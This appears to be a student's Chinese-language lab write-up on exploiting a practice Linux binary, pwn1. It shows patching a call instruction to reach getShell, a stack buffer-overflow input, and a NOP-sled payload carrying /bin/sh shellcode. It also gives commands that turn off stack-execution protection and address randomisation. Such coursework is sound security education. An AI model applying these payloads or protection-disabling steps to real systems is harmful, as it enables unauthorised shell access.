2018-2019-2 20165231王楊鴻永《網絡對抗》Exp1 PC平臺逆向破解

實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。
該程序正常執行流程是：main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另外一個代碼片斷，getShell，會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷，而後學習如何注入運行任何Shellcode。

基礎知識

linux基本操做

• 管道(|)：管道是Linux由Unix那裏繼承過來的進程間的通訊機制，它是Unix早期的一個重要通訊機制。其思想是，在內存中建立一個共享文件，從而使通訊雙方利用這個共享文件來傳遞信息。因爲這種方式具備單向傳遞數據的特色，因此這個做爲傳遞消息的共享文件就叫作「管道」。
  管道的侷限性：
  ① 數據本身讀不能本身寫。
  ② 數據一旦被讀走，便不在管道中存在，不可反覆讀取。
  ③ 因爲管道採用半雙工通訊方式。所以，數據只能在一個方向上流動。
  ④ 只能在有公共祖先的進程間使用管道。

• 輸入：linux標準輸入設備指的是鍵盤，標準輸出設備指的是顯示器，標準錯誤輸出指的是顯示器。
  

• 輸出重定向(>)：輸出重定向就是指不使用linux默認的標準輸出設備顯示信息，而是指定某個文件作爲標準輸出設備來存儲文件信息。

Bof原理

Linux下進程地址空間的佈局

典型的堆棧結構

棧中有return address還有局部變量，也就是函數的參數，bof攻擊是利用上參數的溢出將返回地址return address用本身構造的數據覆蓋掉，從而控制程序的進程。接下來就試着經過bof攻擊來實現調用getshell函數。

NOP、JNE、JE、JMP、CMP彙編指令的機器碼

• NOP：NOP指令即「空指令」。執行到NOP指令時，CPU什麼也不作，僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。（機器碼：90）
• JNE：條件轉移指令，若是不相等則跳轉。（機器碼：75）
• JE：條件轉移指令，若是相等則跳轉。（機器碼：74）
• JMP：無條件轉移指令。段內直接短轉Jmp
• short（機器碼：EB） 段內直接近轉移Jmp
• near（機器碼：E9） 段內間接轉移 Jmp
• word（機器碼：FF） 段間直接(遠)轉移Jmp
• far（機器碼：EA）
• CMP：比較指令，功能至關於減法指令，只是對操做數之間運算比較，不保存結果。cmp指令執行後，將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

gdb的經常使用命令

實驗內容

直接修改程序機器指令，改變程序執行流程

下載目標文件pwn1到實驗虛擬機,反彙編objdump -d pwn1 |more。下面只保留了最核心的幾行代碼。

指令將調用位於地址8048491處的foo函數
其對應機器指令爲「e8 d7ffffff」，e8即跳轉。
此時此刻EIP的值應該是下條指令的地址，即80484ba，但出現e8這條指令，CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值，調用getShell，只要修改「d7ffffff」爲，"getShell-80484ba"對應的補碼就行。直接 804847d-80484ba就能獲得補碼，是c3ffffff。

因此編輯pwn1文件 vim pwn1將其中的call指令的目標地址由d7ffffff變爲c3ffffff

如下操做是在vi內

1. 按ESC鍵
2. 輸入以下，將顯示模式切換爲16進制模式
   :%!xxd
3. 查找要修改的內容
   /e8d7
4. 找到後先後的內容和反彙編的對比下，確認是地方是正確的
5. 修改d7爲c3
6. 轉換16進製爲原格式
   :%!xxd -r
7. 存盤退出vi
   :wq

enter description here

而後 ./pwn1運行

經過構造輸入參數，形成BOF攻擊，改變程序執行流

咱們從新命名一個原pwn文件pwn1_2

反彙編，瞭解漏洞以及程序的基本功能

該可執行文件正常運行是調用函數foo，這個函數有Buffer overflow漏洞，即foo函數中的gets函數，因爲該函數不會檢查用戶輸入的長度，經過「棧溢出」覆蓋棧中保存的RET地址，能夠改變程序的執行流。
函數foo中的mov(804849a)讀入字符串，但系統只預留了32字節的緩衝區，超出部分會形成溢出，咱們的目標是覆蓋返回地址
函數main中的call調用函數foo，同時在堆棧上壓上返回地址值:80484ae

確認覆蓋到返回地址的字符

若是輸入字符串1111111122222222333333334444444412345678，那 1234 那四個數最終會覆蓋到堆棧上的返回地址，進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址，輸入給pwn1，pwn1就會運行getShell

確認用什麼值來覆蓋返回地址

getShell的內存地址，經過反彙編時能夠看到，即0804847d
接下來要確認下字節序，由於PC屬於小端因此輸入11111111222222223333333344444444\x7d\x84\x04\x08

構造輸入字符串

因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值，因此須要使用prel方法先生成包括這樣字符串的一個文件，將getshell的內存地址寫入輸入字符串中，\x0a表示回車，若是沒有的話，在程序運行時就須要手工按一下回車鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

將input的輸入，經過管道符「|」，做爲pwn1的輸入
(cat input; cat) | ./pwn1_2

注入Shellcode並執行

• 準備一段Shellcode
• shellcode就是一段機器指令（code）
  一般這段機器指令的目的是爲獲取一個交互式的shell（像linux的shell或相似windows下的cmd.exe），
  因此這段機器指令被稱爲shellcode。
  在實際的應用中，凡是用來注入的機器指令段都通稱爲shellcode，像添加一個用戶、運行一條指令。
  如：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  準備工做:
• 關閉堆棧保護（gcc -fno-stack-protector）
• 關閉堆棧執行保護(execstack -s)
• 關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
• 在x32環境下
• 在Linux實踐環境

apt-get install execstack //安裝execstack命令
execstack -s pwn1_3 //設置堆棧可執行
execstack -q pwn1_3 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

構造要注入的payload

Linux下有兩種基本構造攻擊buf的方法：

• retaddr+nop+shellcode
• nop+shellcode+retaddr。
  由於retaddr在緩衝區的位置是固定的，shellcode要不在它前面，要不在它後面。
  簡單說緩衝區小就把shellcode放後邊，緩衝區大就把shellcode放前邊

咱們這個buf夠放這個shellcode了
結構爲：nops+shellcode+retaddr
nop一爲是了填充，二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上，天然會滑到咱們的shellcode。

使用命令注入，其中前面32個A用來填滿緩衝區buf，\x04\x03\x02\x01爲預留的返回地址retaddr：
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
打開一個終端注入這段攻擊buf：
(cat input_shellcode;cat) | ./pwn1_3

開啓另外一終端調試進程
用ps -ef | grep pwn1_3命令找到pwn1_3的進程號是：3937

用gdb pwn1_三、attach命令啓動gdb調試這個進程：

用disassemble foo命令反彙編，經過設置斷點，來查看注入buf的內存地址：

經過break *0x080484ae命令設置斷點，輸入countine 繼續運行
在另一個終端中按下回車使上一調試過程繼續執行。再返回調試終端，使用info r esp命令查找地址：

用x/16x 0xffffd64c命令查看其存放內容，看到了0x01020304，就是返回地址的位置。根據咱們構造的input_shellcode可知，shellcode就在其後，因此地址應爲0xffffd650：

接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可，用命令
perl -e 'print "A" x 32;print "\x50\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

實驗中遇到的問題及解決過程

一、提示段錯誤

• 替換\x4\x3\x2\x1時必定記住小端從後往前，每兩位爲一組

二、echo "0" > /proc/sys/kernel/randomize_va_space//關閉地址隨機化提示權限不夠。

• 這時就不要使用本身帳號了直接sudo suroot管理員還怕權限不夠。

實驗感想

複習了linux虛擬機的操做和gdb調試，Kali和Ubuntu感受最大的不一樣就是Ubuntu系統預設了Ctrl+Alt+T的快捷打開終端而Kali沒有，致使實驗須要打開另外一個終端時按了好久覺得電腦卡了（同配置下Kali也的確比Ubuntu要卡），後來搜了一下教程在快捷鍵裏添加了命令。
實驗上以爲彙編代碼真的很神奇，但是我彙編學得很差，可是在操做教程的指點下仍是完成了，但願之後的實驗能夠鑽研出一點有趣的玩法。

什麼是漏洞？漏洞有什麼危害？

漏洞就是現代電子設備在硬件、軟件、協議上的一些可以引起一系列安全問題，威脅用戶操做的缺陷。好比此次實驗的漏洞是緩衝區溢出，由於沒有考慮到超出棧的空間分配的問題致使被利用，使軟件的功能被改變。攻擊者能夠對文件進行任意的操做，也可能會執行相關的惡意代碼，爲木馬植入、後門設置提供條件。